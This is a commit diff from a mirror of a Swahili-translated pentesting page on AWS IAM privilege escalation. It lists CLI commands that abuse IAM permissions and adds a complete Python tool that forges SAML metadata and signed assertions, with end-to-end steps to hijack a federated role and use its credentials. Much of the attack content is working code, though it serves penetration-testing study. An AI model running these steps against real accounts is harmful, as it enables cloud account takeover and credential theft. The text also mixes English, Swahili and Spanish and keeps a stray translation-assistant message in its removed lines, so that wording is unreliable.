gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-02-14 17:03:21 +00:00
parent 471ec5996d
commit bf7d9feae8
1 changed files with 316 additions and 44 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+316 -44
View File
@@ -4,7 +4,7 @@
## IAM
Kwa habari zaidi kuhusu IAM angalia:
Kwa maelezo zaidi kuhusu IAM angalia:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,44 +12,44 @@ Kwa habari zaidi kuhusu IAM angalia:
### **`iam:CreatePolicyVersion`**
Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka haja ya ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kubainisha ruhusa maalum.
Huipa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa zilizobinafsishwa.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Athari:** Inaongezea ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
**Impact:** Inapandisha ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
### **`iam:SetDefaultPolicyVersion`**
Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kwa toleo lingine liloripo, na inaweza kuongeza ruhusa ikiwa toleo jipya lina ruhusa zaidi.
Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda toleo lingine linalopo, na inaweza kupandisha ruhusa ikiwa toleo jipya lina ruhusa nyingi zaidi.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuruhusu ruhusa zaidi.
**Athari:** Indirect privilege escalation kwa kuwezesha permissions zaidi.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, jambo ambalo linaweza kusababisha privilege escalation.
Inawezesha kuunda access key ID na secret access key kwa mtumiaji mwingine, ikisababisha uwezekano wa privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Athari:** privilege escalation ya moja kwa moja kwa kuchukua ruhusa za ziada za mtumiaji mwingine.
**Impact:** Direct privilege escalation kwa kuchukua ruhusa zilizopanuliwa za mtumiaji mwingine.
Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji viwili tu vilivyotengenezwa, hivyo ikiwa mtumiaji tayari ana vifunguo vya ufikiaji 2 utahitaji ruhusa `iam:DeleteAccessKey` kufuta mojawapo yao ili uweze kuunda mpya:
Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji 2 tu vilivyoundwa, hivyo ikiwa mtumiaji tayari ana vifunguo viwili vya ufikiaji utahitaji ruhusa `iam:DeleteAccessKey` kufuta mmoja wao ili uweze kuunda mpya:
```bash
aws iam delete-access-key --uaccess-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kusajili MFA yako kwa mtumiaji huyo na kisha kuomba session iliyothibitishwa na MFA kwa vyeti vyao.
Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kujisajili kwa MFA yako kwa mtumiaji huyo na kisha kuomba kikao kinachothibitishwa na MFA kwa vigezo vyao vya kuingia.
**Exploit:**
**Ushambulizi:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
@@ -58,51 +58,77 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia mamlaka yao).
**Athari:** Direct privilege escalation kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia ruhusa zao).
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa ajili ya AWS console login, ikisababisha kuongezeka kwa mamlaka kwa njia ya moja kwa moja.
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila za AWS console login, na kusababisha direct privilege escalation.
**Exploit kwa Uundaji:**
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit kwa Update:**
**Exploit kwa Sasisho:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Athari:** Kuongezeka kwa moja kwa moja kwa privilege escalation kwa kuingia kama mtumiaji "yeyote".
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuingia kama mtumiaji yeyote.
### **`iam:UpdateAccessKey`**
Inaruhusu kuwezesha access key iliyozimwa, jambo ambalo linaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key hiyo iliyozimwa.
Inawezesha kuwezesha access key iliyozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key iliyozimwa.
**Exploit:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Athari:** Moja kwa moja privilege escalation kwa kurejesha tena access keys.
**Athari:** Kuongezeka kwa mamlaka kwa moja kwa moja kwa kuamsha tena vifunguo vya upatikanaji.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Inaruhusu kuzalisha au kuweka upya credentials kwa huduma maalum za AWS (e.g., CodeCommit, Amazon Keyspaces), zikirithi permissions za mtumiaji aliyehusishwa.
Inawezesha kuunda au kuweka upya credentials kwa huduma maalum za AWS (mara nyingi **CodeCommit**). Hizi si **AWS API keys**: ni **username/password** credentials kwa huduma maalum, na unaweza kuzitumia tu pale huduma hiyo inazoikubali.
**Exploit for Creation:**
**Uundaji:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Exploit kwa Reset:**
Hifadhi:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**Mfano:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Kumbuka: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
Kwa hatua hii unaweza kusoma chochote ambacho mtumiaji lengwa anaweza kufikia katika CodeCommit (mfano, a leaked credentials file). Ikiwa utapata **AWS access keys** kutoka repo, tengeneza profile mpya ya AWS CLI kwa kutumia keys hizo kisha upate resources (kwa mfano, soma flag kutoka Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Weka upya:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact:** Kuongezeka kwa ruhusa moja kwa moja ndani ya ruhusa za huduma za mtumiaji.
**Madhara:** Privilege escalation ndani ya ruhusa za mtumiaji lengwa kwa huduma iliyotajwa (na pengine zaidi ikiwa unafanya pivot kwa kutumia data iliyopatikana kutoka kwa huduma hiyo).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Inaruhusu kuambatisha policies kwa watumiaji au makundi, na hivyo kuongeza ruhusa moja kwa moja kwa kurithi ruhusa za policy iliyounganishwa.
Inaruhusu kuambatisha policies kwa users au groups, na hivyo directly escalating privileges kwa kurithi permissions za policy iliyounganishwa.
**Exploit for User:**
```bash
@@ -112,11 +138,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Athari:** Direct privilege escalation kwa chochote sera inaruhusu.
**Impact:** Direct privilege escalation kwa chochote policy inaruhusu.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa ruhusa za ziada.
Inaruhusu kuambatanisha au kuweka policies kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa permissions za ziada.
**Exploit for Role:**
```bash
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
I don't see the README.md content to translate. Please paste the file content (or confirm you want an example policy) and I'll translate the relevant English text to Swahili following your rules.
Unaweza kutumia sera kama:
```json
{
"Version": "2012-10-17",
@@ -146,28 +172,28 @@ I don't see the README.md content to translate. Please paste the file content (o
]
}
```
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuongeza ruhusa kupitia sera.
**Athari:** Direct privilege escalation kwa kuongeza ruhusa kupitia sera.
### **`iam:AddUserToGroup`**
Inaruhusu kujiongeza mwenyewe kwenye kikundi cha IAM, na hivyo kuongeza ruhusa kwa kurithi ruhusa za kikundi.
Inaruhusu kujiongeza kwenye kikundi cha IAM, escalating privileges kwa kurithi ruhusa za kikundi.
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Athari:** Kupandishwa kwa ruhusa kwa moja kwa moja hadi kiwango cha ruhusa za kikundi.
**Athari:** Kupandishwa moja kwa moja kwa privilege escalation hadi kiwango cha ruhusa za kundi.
### **`iam:UpdateAssumeRolePolicy`**
Inaruhusu kubadilisha assume role policy document ya role, na hivyo kuwezesha ku-assume role pamoja na ruhusa zake zinazohusiana.
Inaruhusu kubadilisha assume role policy document ya role, ikiruhusu kuchukua role na ruhusa zake zinazohusiana.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:
Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua role:
```json
{
"Version": "2012-10-17",
@@ -182,11 +208,11 @@ Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua
]
}
```
**Impact:** Direct privilege escalation kwa kuchukua ruhusa za role yoyote.
**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kudai ruhusa za role yoyote.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Inaruhusu kupakia SSH public key kwa ajili ya uthibitisho kwenye CodeCommit na kuzima vifaa vya MFA, na hivyo kusababisha uwezekano wa indirect privilege escalation.
Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha kwa CodeCommit na kuzima vifaa vya MFA, jambo linaloweza kusababisha kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja.
**Exploit for SSH Key Upload:**
```bash
@@ -196,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.
**Athari:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kwa kuzima ulinzi wa MFA.
### **`iam:ResyncMFADevice`**
Inaruhusu kusawazisha upya kifaa cha MFA, ambacho kinaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuingilia au kubadilisha ulinzi wa MFA.
Inaruhusu kusanidi upya kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kubadilisha ulinzi wa MFA.
**Amri ya Bash:**
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA.
**Athari:** Indirect privilege escalation kwa kuongeza au kubadilisha MFA devices.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **login** na **role** yoyote inayoiamini.
Kwa ruhusa hizi unaweza **kubadilisha XML metadata ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **ku-login** na **role yoyote inayomuamini**.
Kumbuka kwamba kufanya hivi **watumiaji halali hawataweza ku-login**. Walakini, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kusanidi tena iliyokuwepo hapo awali.
Kumbuka kwamba ukifanya hivyo, **watumiaji halali hawataweza ku-login**. Hata hivyo, unaweza kupata XML, ukaingiza yako, ku-login na kurudisha mipangilio ya awali.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: A Tool inayoweza kuunda SAML metadata na ku-login kwa role iliyobainishwa
**Shambulio end-to-end:**
1. Orodhesha SAML provider na role inayoiamini:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Tengeneza metadata ya IdP + SAML assertion iliyotiwa saini kwa jozi ya role/provider:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Inapanuliwa: <code>/tmp/saml_forge.py</code> msaidizi (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
</details>
3. Sasisha metadata ya mtoa huduma wa SAML kwa cheti chako cha IdP, chukua role, na tumia STS credentials zilizorejeshwa:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Usafishaji: rejesha metadata ya awali:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Kusasisha metadata ya provider wa SAML kunavuruga: wakati metadata yako iko mahali, watumiaji halali wa SSO wanaweza wasiweze kuathibitisha utambulisho.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Sina uhakika kuhusu hili) Ikiwa attacker ana hizi **permissions** anaweza kuongeza **Thumbprint** mpya ili kuweza ku-login katika role zote zinazomwamini provider.
(Sina uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **idhinishaji** anaweza kuongeza **Thumbprint** mpya ili kuweza login katika roles zote zinazomuamini provider.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya user, na inaweza kuongezea privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vinazuiliwa kutokana na permissions zao zilizopo.
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya mtumiaji, na kwa hivyo inawezekana kuongeza viwango vya ruhusa zao kwa kumruhusu kutekeleza vitendo ambavyo kwa kawaida vinalindwa na ruhusa zao zilizopo.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Mhusika mwenye iam:PutRolePermissionsBoundary anaweza kuweka kikomo cha ruhusa kwenye role iliyopo. Hatari inatokea mtu mwenye ruhusa hii anapobadilisha kikomo cha role: wanaweza kuzuia shughuli kwa njia isiyofaa (kusababisha kukatika kwa huduma) au, ikiwa wataambatisha kikomo chenye kuruhusu mengi, kwa ufanisi kupanua kile role inaweza kufanya na kupandisha ruhusa.
Mtu aliye na iam:PutRolePermissionsBoundary anaweza kuweka mpaka wa ruhusa kwenye role iliyopo. Hatari inajitokeza wakati mtu mwenye ruhusa hii anabadilisha mpaka wa role: anaweza kuzuia operesheni kwa njia isiyofaa (kusababisha kusitishwa kwa huduma) au, ikiwa ataambatanisha mpaka lenye ruhusa pana, kwa ufanisi kupanua yale role inaweza kufanya na kupandisha ngazi za ruhusa.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \